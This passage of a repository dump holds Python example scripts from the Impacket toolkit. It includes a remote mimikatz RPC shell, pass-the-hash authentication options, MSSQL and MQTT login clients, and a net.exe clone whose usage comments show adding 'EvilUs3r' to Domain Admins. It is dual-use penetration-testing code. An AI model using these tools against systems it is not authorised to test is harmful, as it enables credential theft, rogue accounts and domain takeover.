dssp.DSROLE_MACHINE_ROLE.DsRole_RoleStandaloneWorkstation: \n        'Standalone Workstation',\n        dssp.DSROLE_MACHINE_ROLE.DsRole_RoleMemberWorkstation: \n        'Domain-joined Workstation',\n        dssp.DSROLE_MACHINE_ROLE.DsRole_RoleStandaloneServer: \n        'Standalone Server',\n        dssp.DSROLE_MACHINE_ROLE.DsRole_RoleMemberServer: \n        'Domain-joined Server',\n        dssp.DSROLE_MACHINE_ROLE.DsRole_RoleBackupDomainController: \n        'Backup Domain Controller',\n        dssp.DSROLE_MACHINE_ROLE.DsRole_RolePrimaryDomainController: \n        'Primary Domain Controller'\n    }\n\n    def __init__(self, username='', password='', domain='', hashes=None,\n                 aesKey=None, doKerberos=False, kdcHost=None, port=445):\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = aesKey\n        self.__doKerberos = doKerberos\n        self.__kdcHost = kdcHost\n        self.__port = port\n\n        if hashes is not None:\n            self.__lmhash, self.__nthash = hashes.split(':')\n\n    def print_info(self, remoteName, remoteHost):\n        try:\n            dce = self.__authenticate(remoteName, remoteHost)\n        except Exception as e:\n            self.__log_and_exit(str(e))\n\n        try:\n            output = self.__fetch(dce)\n        except Exception as e:\n            self.__log_and_exit(str(e))\n\n        for key, value in output.items():\n            print('%s: %s' % (key, value))\n\n        dce.disconnect()\n\n    def __authenticate(self, remoteName, remoteHost):\n        dce = self.__get_transport(remoteName, remoteHost)\n\n        dce.connect()\n        dce.bind(dssp.MSRPC_UUID_DSSP)\n\n        return dce\n\n    def __get_transport(self, remoteName, remoteHost):\n        stringbinding = r'ncacn_np:%s[\\pipe\\lsarpc]' % remoteName\n        logging.debug('StringBinding %s' % stringbinding)\n        rpctransport = transport.DCERPCTransportFactory(stringbinding)\n        rpctransport.set_dport(self.__port)\n        rpctransport.setRemoteHost(remoteHost)\n\n        if hasattr(rpctransport, 'set_credentials'):\n            # This method exists only for selected protocol sequences.\n            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,\n                                         self.__nthash, self.__aesKey)\n        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)\n\n        return rpctransport.get_dce_rpc()\n\n    def __fetch(self, dce):\n        output = {}\n        domain_info = dssp.hDsRolerGetPrimaryDomainInformation(dce, 1)\n\n        output['Machine Role'] = self.MACHINE_ROLES[domain_info['DomainInfo']['DomainInfoBasic']['MachineRole']]\n        output['NetBIOS Domain Name'] = domain_info['DomainInfo']['DomainInfoBasic']['DomainNameFlat']\n        output['Domain Name'] = domain_info['DomainInfo']['DomainInfoBasic']['DomainNameDns']\n        output['Forest Name'] = domain_info['DomainInfo']['DomainInfoBasic']['DomainForestName']\n        output['Domain GUID'] = bin_to_string(domain_info['DomainInfo']['DomainInfoBasic']['DomainGuid'])\n\n        return output\n\n    def __log_and_exit(self, error):\n        logging.critical('Error while enumerating host: %s' % error)\n        sys.exit(1)\n\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help=True, description='Retrieve a host\\'s role along with its primary domain details.')\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n    group = parser.add_argument_group('connection')\n\n    group.add_argument('-dc-ip', action='store',metavar='ip address', help='IP Address of the domain controller. If '\n                       'ommited it use the domain part (FQDN) specified in the target parameter')\n    group.add_argument('-target-ip', action='store', metavar='ip address', help='IP Address of the target machine. If '\n                       'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '\n                       'name and you cannot resolve it')\n    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar=\"destination port\",\n                       help='Destination port to connect to SMB Server')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action='store', metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action='store_true', help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action='store_true', help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    group.add_argument('-aesKey', action='store', metavar='hex key', help='AES key to use for Kerberos Authentication '\n                                                                          '(128 or 256 bits)')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, remoteName = parse_target(options.target)\n\n    if domain is None:\n        domain = ''\n\n    if options.target_ip is None:\n        options.target_ip = remoteName\n\n    if options.aesKey is not None:\n        options.k = True\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n        password = getpass('Password:')\n\n    machine_role = MachineRole(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, int(options.port))\n    machine_role.print_info(remoteName, options.target_ip)\n    "
  },
  {
    "path": "examples/mimikatz.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Mini shell to control a remote mimikatz RPC server developed by @gentilkiwi\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   SMB DCE/RPC\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport cmd\nimport logging\nimport os\nimport sys\n\nfrom impacket import version\nfrom impacket.dcerpc.v5 import epm, mimilib\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE\nfrom impacket.dcerpc.v5.transport import DCERPCTransportFactory\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\n\ntry:\n    from Cryptodome.Cipher import ARC4\nexcept Exception:\n    logging.critical(\"Warning: You don't have any crypto installed. You need pycryptodomex\")\n    logging.critical(\"See https://pypi.org/project/pycryptodomex/\")\n\n\nmimikatz_intro = r\"\"\"Type help for list of commands\"\"\"\n\n\nclass MimikatzShell(cmd.Cmd):\n    def __init__(self, dce):\n        cmd.Cmd.__init__(self)\n        self.shell = None\n\n        self.prompt = 'mimikatz # '\n        self.tid = None\n        self.intro = mimikatz_intro\n        self.pwd = ''\n        self.share = None\n        self.loggedIn = True\n        self.last_output = None\n\n        self.dce = dce\n\n        dh = mimilib.MimiDiffeH()\n        blob = mimilib.PUBLICKEYBLOB()\n        blob['y'] = dh.genPublicKey()[::-1]\n        publicKey = mimilib.MIMI_PUBLICKEY()\n        publicKey['sessionType'] = mimilib.CALG_RC4\n        publicKey['cbPublicKey'] = 144\n        publicKey['pbPublicKey'] = blob.getData()\n        resp = mimilib.hMimiBind(self.dce, publicKey)\n        blob = mimilib.PUBLICKEYBLOB(b''.join(resp['serverPublicKey']['pbPublicKey']))\n\n        self.key = dh.getSharedSecret(blob['y'][::-1])[-16:][::-1]\n        self.pHandle = resp['phMimi']\n\n    def emptyline(self):\n        pass\n\n    def precmd(self,line):\n        # switch to unicode\n        #return line.encode('utf-8')\n        return line\n\n    def default(self, line):\n        if line.startswith('*'):\n            line = line[1:]\n        command = (line.strip('\\n')+'\\x00').encode('utf-16le')\n        command = ARC4.new(self.key).encrypt(command)\n        resp = mimilib.hMimiCommand(self.dce, self.pHandle, command)\n        cipherText = b''.join(resp['encResult'])\n        cipher = ARC4.new(self.key)\n        print(cipher.decrypt(cipherText).decode('utf-16le'))\n\n    def onecmd(self,s):\n        retVal = False\n        try:\n           retVal = cmd.Cmd.onecmd(self,s)\n        except Exception as e:\n           logging.debug(\"Exception:\", exc_info=True)\n           logging.error(e)\n\n        return retVal\n\n    def do_exit(self,line):\n        if self.shell is not None:\n            self.shell.close()\n        return True\n\n    def do_shell(self, line):\n        output = os.popen(line).read()\n        print(output)\n        self.last_output = output\n\n    def do_help(self,line):\n        self.default('::')\n\ndef main():\n    print(version.BANNER)\n    parser = argparse.ArgumentParser(add_help = True, description = \"SMB client implementation.\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '\n                                                       'cannot be found, it will use the ones specified in the command '\n                                                       'line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n\n    group.add_argument('-dc-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '\n                            'the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '\n                            'This is useful when target is the NetBIOS name and you cannot resolve it')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, address = parse_target(options.target)\n\n    if options.target_ip is None:\n        options.target_ip = address\n\n    if domain is None:\n        domain = ''\n    \n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    if options.aesKey is not None:\n        options.k = True\n\n    if options.hashes is not None:\n        lmhash, nthash = options.hashes.split(':')\n    else:\n        lmhash = ''\n        nthash = ''\n\n    bound = False\n \n    try:\n        if username != '':\n            try:\n                # Let's try to do everything through SMB. If we'e lucky it might get everything encrypted\n                rpctransport = DCERPCTransportFactory(r'ncacn_np:%s[\\pipe\\epmapper]'%address)\n                rpctransport.set_credentials(username, password, domain, lmhash, nthash, options.aesKey)\n                dce = rpctransport.get_dce_rpc()\n                if options.k:\n                    rpctransport.set_kerberos(True, options.dc_ip)\n                    dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)\n                dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)\n                dce.connect()\n                # Give me the endpoint please!\n                stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_np', dce=dce)\n\n                # Thanks, let's now use the same SMB Connection to bind to mimi\n                rpctransport2 = DCERPCTransportFactory(stringBinding)\n                rpctransport2.set_smb_connection(rpctransport.get_smb_connection())\n                dce = rpctransport2.get_dce_rpc()\n                if options.k:\n                    dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)\n                dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)\n                dce.connect()\n                dce.bind(mimilib.MSRPC_UUID_MIMIKATZ)\n                bound = True\n            except Exception as e:\n                if str(e).find('ept_s_not_registered') >=0:\n                    # Let's try ncacn_ip_tcp\n                    stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_ip_tcp')\n                else:\n                    raise\n\n        else:\n            stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_ip_tcp')\n\n        if bound is False:\n            rpctransport = DCERPCTransportFactory(stringBinding)\n            rpctransport.set_credentials(username, password, domain, lmhash, nthash, options.aesKey)\n            dce = rpctransport.get_dce_rpc()\n            if options.k is True:\n                rpctransport.set_kerberos(True, options.dc_ip)\n                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)\n            rpctransport.set_credentials(username, password, domain, lmhash, nthash)\n            dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)\n            dce.connect()\n            dce.bind(mimilib.MSRPC_UUID_MIMIKATZ)\n\n        shell = MimikatzShell(dce)\n\n        if options.file is not None:\n            logging.info(\"Executing commands from %s\" % options.file.name)\n            for line in options.file.readlines():\n                if line[0] != '#':\n                    print(\"# %s\" % line, end=' ')\n                    shell.onecmd(line)\n                else:\n                    print(line, end=' ')\n        else:\n            shell.cmdloop()\n    except Exception as e:\n        logging.debug(\"Exception:\", exc_info=True)\n        logging.error(str(e))\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "examples/mqtt_check.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Simple MQTT example aimed at playing with different login options. Can be converted into a account/password\n#   brute forcer quite easily.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   MQTT and Structure\n#\n\nfrom __future__ import print_function\n\nimport argparse\nimport logging\nimport sys\n\nfrom impacket import version\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection\n\nclass MQTT_LOGIN:\n    def __init__(self, username, password, target, options):\n        self._options = options\n        self._username = username\n        self._password = password\n        self._target = target\n\n        if self._username == '':\n            self._username = None\n\n    def run(self):\n        mqtt = MQTTConnection(self._target, int(self._options.port), self._options.ssl)\n\n        if self._options.client_id is None:\n            clientId = ' '\n        else:\n            clientId = self._options.client_id\n\n        mqtt.connect(clientId, self._username, self._password)\n\n        logging.info(CONNECT_ACK_ERROR_MSGS[0])\n\nif __name__ == '__main__':\n    print(version.BANNER)\n    parser = argparse.ArgumentParser(add_help=False,\n                                     description=\"MQTT login check\")\n    parser.add_argument(\"--help\", action=\"help\", help='show this help message and exit')\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName>')\n    parser.add_argument('-client-id', action='store', help='Client ID used when authenticating (default random)')\n    parser.add_argument('-ssl', action='store_true', help='turn SSL on')\n    parser.add_argument('-port', action='store', default='1883', help='port to connect to (default 1883)')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n    try:\n        options = parser.parse_args()\n    except Exception as e:\n        logging.error(str(e))\n        sys.exit(1)\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, address = parse_target(options.target)\n\n    check_mqtt = MQTT_LOGIN(username, password, address, options)\n    try:\n        check_mqtt.run()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(e)\n"
  },
  {
    "path": "examples/mssqlclient.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-TDS] & [MC-SQLR] example.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   Structure\n#\n\nimport argparse\nimport sys\nimport logging\n\nfrom impacket.examples import logger\nfrom impacket.examples.mssqlshell import SQLSHELL\nfrom impacket.examples.utils import parse_target\nfrom impacket import version, tds\n\n\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"TDS client implementation (SSL supported).\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-db', action='store', help='MSSQL database instance (default None)')\n    parser.add_argument('-windows-auth', action='store_true', default=False, help='whether or not to use Windows '\n                                                                                  'Authentication (default False)')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-show', action='store_true', help='show the queries')\n    parser.add_argument('-command', action='extend', nargs='*', help='Commands to execute in the SQL shell. Multiple commands can be passed.')\n    parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the SQL shell')\n\n    parser.add_argument('--host-name', action='store', default='', help='HostName property to use when connecting to the MSSQLServer')\n    parser.add_argument('--app-name', action='store', default='', help='AppName property to use when connecting to the MSSQLServer')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n\n    group.add_argument('-dc-ip', action='store',metavar = \"ip address\",  help='IP Address of the domain controller. If '\n                       'ommited it use the domain part (FQDN) specified in the target parameter')\n    group.add_argument('-target-ip', action='store', metavar = \"ip address\",\n                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '\n                            'This is useful when target is the NetBIOS name and you cannot resolve it')\n    group.add_argument('-port', action='store', default='1433', help='target MSSQL port (default 1433)')\n\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, remoteName = parse_target(options.target)\n\n    if domain is None:\n        domain = ''\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n        password = getpass(\"Password:\")\n\n    if options.target_ip is None:\n        options.target_ip = remoteName\n\n    if options.aesKey is not None:\n        options.k = True\n\n    ms_sql = tds.MSSQL(options.target_ip, int(options.port), remoteName, workstation_id=options.host_name, application_name=options.app_name)\n    ms_sql.connect()\n    try:\n        if options.k is True:\n            res = ms_sql.kerberosLogin(options.db, username, password, domain, options.hashes, options.aesKey,\n                                       kdcHost=options.dc_ip)\n        else:\n            res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth)\n        ms_sql.printReplies()\n    except Exception as e:\n        logging.debug(\"Exception:\", exc_info=True)\n        logging.error(str(e))\n        res = False\n    if res is True:\n        shell = SQLSHELL(ms_sql, options.show)\n        if options.file:\n            for line in options.file.readlines():\n                print(\"SQL> %s\" % line, end=' ')\n                shell.onecmd(line)\n        elif options.command:\n            for c in options.command:\n                print(\"SQL> %s\" % c)\n                shell.onecmd(c)\n        else:\n            shell.cmdloop()\n    ms_sql.disconnect()\n"
  },
  {
    "path": "examples/mssqlinstance.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MC-SQLR] example. Retrieves the instances names from the target host\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   Structure\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport sys\nimport logging\n\nfrom impacket.examples import logger\nfrom impacket import version, tds\n\nif __name__ == '__main__':\n\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Asks the remote host for its running MSSQL Instances.\")\n\n    parser.add_argument('host', action='store', help='target host')\n    parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n \n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    ms_sql = tds.MSSQL(options.host)\n    instances = ms_sql.getInstances(int(options.timeout))\n    if len(instances) == 0:\n        print(\"No MSSQL Instances found\")\n    else:\n        for i, instance in enumerate(instances):\n            logging.info(\"Instance %d\" % i)\n            for key in list(instance.keys()):\n               print(key + \":\" + instance[key])\n"
  },
  {
    "path": "examples/net.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Impacket alternative for windows net.exe commandline utility.\n#   Thanks to rpc protocol, the special feature of this tool is \n#   making net.exe functionalities available from remote computer.\n#\n#   e.g:\n#       python net.py Administrator:password@targetMachine localgroup\n#       python net.py Administrator:password@targetMachine user\n#       python net.py Administrator:password@targetMachine group\n#       python net.py Administrator:password@targetMachine computer\n#       python net.py Administrator:password@targetMachine localgroup -name Administrators\n#       python net.py Administrator:password@targetMachine user -name Administrator\n#       python net.py Administrator:password@targetMachine group -name \"Domain Admins\"\n#       python net.py Administrator:password@targetMachine computer -name DC$\n#       python net.py Administrator:password@targetMachine group -name \"Domain Admins\" -join EvilUs3r\n#       python net.py Administrator:password@targetMachine user -enable EvilUs3r\n#       python net.py Administrator:password@targetMachine user -disable EvilUs3r\n#\n# Author:\n#   Alex Romero (@NtAlexio2)\n#\n# Reference for:\n#   [MS-SAMR]\n# \n\nimport sys\nimport argparse\nimport logging\nfrom datetime import datetime\n\nfrom impacket import version\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket.dcerpc.v5 import transport, samr, lsad, lsat\nfrom impacket.smbconnection import SMBConnection\n\n\nclass LsaTranslator:\n    def __init__(self, smbConnection):\n        self._smbConnection = smbConnection\n        self.__stringBindingSamr = r'ncacn_np:445[\\pipe\\lsarpc]'\n        self._lsat_dce = None\n        self.Connect()\n\n    def Connect(self):\n        rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)\n        rpc.set_smb_connection(self._smbConnection)\n        self._lsat_dce = rpc.get_dce_rpc()\n        self._lsat_dce.connect()\n        self._lsat_dce.bind(lsat.MSRPC_UUID_LSAT)\n\n    def LookupName(self, name):\n        policyHandle = lsad.hLsarOpenPolicy2(self._lsat_dce)['PolicyHandle']\n        resp = lsat.hLsarLookupNames3(self._lsat_dce, policyHandle, (name, ))\n        lsad.hLsarClose(self._lsat_dce, policyHandle)\n        return resp['TranslatedSids']['Sids'][0]['Sid']\n\n    def LookupSids(self, sid_list):\n        policyHandle = lsad.hLsarOpenPolicy2(self._lsat_dce)['PolicyHandle']\n        resp = lsat.hLsarLookupSids2(self._lsat_dce, policyHandle, sid_list)\n        lsad.hLsarClose(self._lsat_dce, policyHandle)\n        return resp['TranslatedNames']['Names']\n\n\nclass SamrObject:\n    def __init__(self, smbConnection):\n        self._smbConnection = smbConnection\n        self.__stringBindingSamr = r'ncacn_np:445[\\pipe\\samr]'\n        self._dce = None\n        self._domain_handle = None\n        self._translator = None\n        self._connect()\n\n    def _connect(self):\n        rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)\n        rpc.set_smb_connection(self._smbConnection)\n        self._dce = rpc.get_dce_rpc()\n        self._dce.connect()\n        self._dce.bind(samr.MSRPC_UUID_SAMR)\n\n    def _get_user_sid(self, username):\n        if self._translator is None:\n            self._translator = LsaTranslator(self._smbConnection)\n        return self._translator.LookupName(username)\n\n    def _resolve_sid(self, sid_list):\n        if self._translator is None:\n            self._translator = LsaTranslator(self._smbConnection)\n        return self._translator.LookupSids(sid_list)\n\n    def _get_object_rid(self, domain_handle, object_name):\n        response = samr.hSamrLookupNamesInDomain(self._dce, domain_handle, (object_name,))\n        object_id = response['RelativeIds']['Element'][0]['Data']\n        return object_id\n\n    def _get_user_handle(self, domain_handle, username):\n        user_rid = self._get_object_rid(domain_handle, username)\n        response = samr.hSamrOpenUser(self._dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)\n        return response['UserHandle']\n\n    def _get_group_handle(self, domain_handle, alias_name):\n        group_rid = self._get_object_rid(domain_handle, alias_name)\n        response = samr.hSamrOpenGroup(self._dce, domain_handle, samr.MAXIMUM_ALLOWED, group_rid)\n        return response['GroupHandle']\n\n    def _get_alias_handle(self, domain_handle, alias_name):\n        alias_rid = self._get_object_rid(domain_handle, alias_name)\n        response = samr.hSamrOpenAlias(self._dce, domain_handle, samr.MAXIMUM_ALLOWED, alias_rid)\n        return response['AliasHandle']\n\n    def _open_domain(self, builtin=False):\n        if self._domain_handle is None:\n            self._domain_handle = self.__get_domain_handle(builtin)\n        return self._domain_handle\n\n    def _close_domain(self):\n        if self._domain_handle != None:\n            samr.hSamrCloseHandle(self._dce, self._domain_handle)\n            self._domain_handle = None\n\n    def __get_domain_handle(self, builtin=False):\n        index = 1 if builtin else 0\n        server_handle = samr.hSamrConnect(self._dce)['ServerHandle']\n        domain_name = samr.hSamrEnumerateDomainsInSamServer(self._dce, server_handle)['Buffer']['Buffer'][index]['Name']\n        domain_id = samr.hSamrLookupDomainInSamServer(self._dce, server_handle, domain_name)['DomainId']\n        domain_handle = samr.hSamrOpenDomain(self._dce, server_handle, domainId=domain_id)['DomainHandle']\n        return domain_handle\n\n\nclass User(SamrObject):\n    def __init__(self, smbConnection):\n        super().__init__(smbConnection)\n        self._create_account_type = samr.USER_NORMAL_ACCOUNT\n        self._enum_account_type = samr.USER_NORMAL_ACCOUNT\n\n    def Enumerate(self):\n        domain_handle = self._open_domain()\n        try:\n            response = samr.hSamrEnumerateUsersInDomain(self._dce, domain_handle, self._enum_account_type)\n            for item in response['Buffer']['Buffer']:\n                yield item\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                raise\n        finally:\n            self._close_domain()\n    \n    def Query(self, name):\n        domain_handle = self._open_domain(False)\n        try:\n            user_handle = self._get_user_handle(domain_handle, name)\n            response = samr.hSamrQueryInformationUser2(self._dce, user_handle, samr.USER_INFORMATION_CLASS.UserAllInformation)\n            response = response['Buffer']['All']\n\n            # Get groups that user is member of\n            groups = samr.hSamrGetGroupsForUser(self._dce, user_handle)['Groups']['Groups']\n            group_id_list = list(map(lambda g: g['RelativeId'], groups))\n\n            sidArray = samr.SAMPR_PSID_ARRAY()\n            for gid in group_id_list:\n                group_handle = samr.hSamrOpenGroup(self._dce, domain_handle, groupId=gid)['GroupHandle']\n                group_sid = samr.hSamrRidToSid(self._dce, group_handle, gid)['Sid']\n                si = samr.PSAMPR_SID_INFORMATION()\n                si['SidPointer'] = group_sid\n                sidArray['Sids'].append(si)\n                samr.hSamrCloseHandle(self._dce, group_handle)\n            \n            global_lookup_ids = samr.hSamrLookupIdsInDomain(self._dce, domain_handle, group_id_list)\n            response.fields['GlobalGroups'] = list(map(lambda a: a['Data'], global_lookup_ids['Names']['Element']))\n\n            self._close_domain()\n            domain_handle = self._open_domain(True)\n\n            alias_membership = samr.hSamrGetAliasMembership(self._dce, domain_handle, sidArray)\n            alias_id_list = list(map(lambda a: a['Data'], alias_membership['Membership']['Element']))\n\n            local_lookup_ids = samr.hSamrLookupIdsInDomain(self._dce, domain_handle, alias_id_list)\n            response.fields['LocalGroups'] = list(map(lambda a: a['Data'], local_lookup_ids['Names']['Element']))\n            return response\n\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                raise\n        finally:\n            self._close_domain()\n\n    def Create(self, name, new_password, new_nt_hash=''):\n        domain_handle = self._open_domain()\n        user_handle = samr.hSamrCreateUser2InDomain(self._dce, domain_handle, name, self._create_account_type, samr.USER_ALL_ACCESS)['UserHandle']\n        try:\n            samr.hSamrSetNTInternal1(self._dce, user_handle, new_password, new_nt_hash)\n        except samr.DCERPCSessionError as e:\n            samr.hSamrDeleteUser(self._dce, user_handle)\n            raise\n        else:\n            self._hEnableAccount(user_handle)\n        finally:\n            self._close_domain()\n\n    def Remove(self, name):\n        domain_handle = self._open_domain()\n        try:\n            user_handle = self._get_user_handle(domain_handle, name)\n            samr.hSamrDeleteUser(self._dce, user_handle)\n        finally:\n            self._close_domain()\n\n    def _hEnableAccount(self, user_handle):\n        user_account_control = samr.hSamrQueryInformationUser2(self._dce, user_handle, samr.USER_INFORMATION_CLASS.UserAllInformation)['Buffer']['All']['UserAccountControl']\n        buffer = samr.SAMPR_USER_INFO_BUFFER()\n        buffer['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation\n        buffer['Control']['UserAccountControl'] = user_account_control ^ samr.USER_ACCOUNT_DISABLED\n        samr.hSamrSetInformationUser2(self._dce, user_handle, buffer)\n\n    def _hDisableAccount(self, user_handle):\n        user_account_control = samr.hSamrQueryInformationUser2(self._dce, user_handle, samr.USER_INFORMATION_CLASS.UserAllInformation)['Buffer']['All']['UserAccountControl']\n        buffer = samr.SAMPR_USER_INFO_BUFFER()\n        buffer['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation\n        buffer['Control']['UserAccountControl'] = samr.USER_ACCOUNT_DISABLED | user_account_control\n        samr.hSamrSetInformationUser2(self._dce, user_handle, buffer)\n\n    def SetUserAccountControl(self, name, action):\n        info = self.Query(name)\n        domain_handle = 